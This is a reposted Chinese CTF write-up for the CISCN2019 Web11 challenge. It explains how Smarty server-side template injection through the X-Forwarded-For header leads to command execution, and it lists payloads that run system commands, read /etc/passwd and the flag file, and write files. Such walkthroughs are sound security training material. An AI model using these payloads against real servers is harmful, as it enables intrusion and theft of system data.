栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

[CISCN2019 华东南赛区]Web11 1(SSTI,smarty,X-Forwarded-For)

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

[CISCN2019 华东南赛区]Web11 1(SSTI,smarty,X-Forwarded-For)

知识点:
SSTI
smarty
X-Forwarded-For

  Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示
  (HTML/CSS)代码分离的功能。对于该框架的SSTI漏洞很多
  文章往往只是一笔带过,讲解的重心往往在flask等框架上。

看到这个我就想到了抓包修改XFF试试加入X-Forwarded-For
发现Current IP更改为相应值
回想到曾经做过的题,用SSTI

发现存在注入

获取当前目录有那些文件:X-Forwarded-For:{system(‘ls’)}
读取某个文件比如:X-Forwarded-For:{system(‘cat /api’)}。但是我试了以下的所有文件都没找到flag
换个思路,想想smarty,参考一些wp
一些smarty积累的payload:

{system('cat /flag')}
{self::getStreamVariable("file:///etc/passwd")}
{Smarty_Internal_Write_File::writeFile($script_NAME,"",self::clearConfig())}
常规利用
{$smarty.version}  #获取smarty的版本号
{php}phpinfo();{/php}  #执行相应的php代码

{self::getStreamVariable("file:///etc/passwd")}
{if phpinfo()}{/if}
{if system('ls')}{/if}

{system(‘cat /flag’)}

{$smarty.version} #获取smarty的版本号

{php}phpinfo();{/php}
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。所以只能另找方法

对于php5的环境我们就可以使用,其它版本不行

{self::getStreamVariable(“file:///etc/passwd”)}
可见这个旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除。

{if phpinfo()}{/if}

所以直接流程

{if system('ls')}{/if}


{if system(‘ls /’)}{/if}

{if system(‘cat /flag’)}{/if}

得到flag

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/329789.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号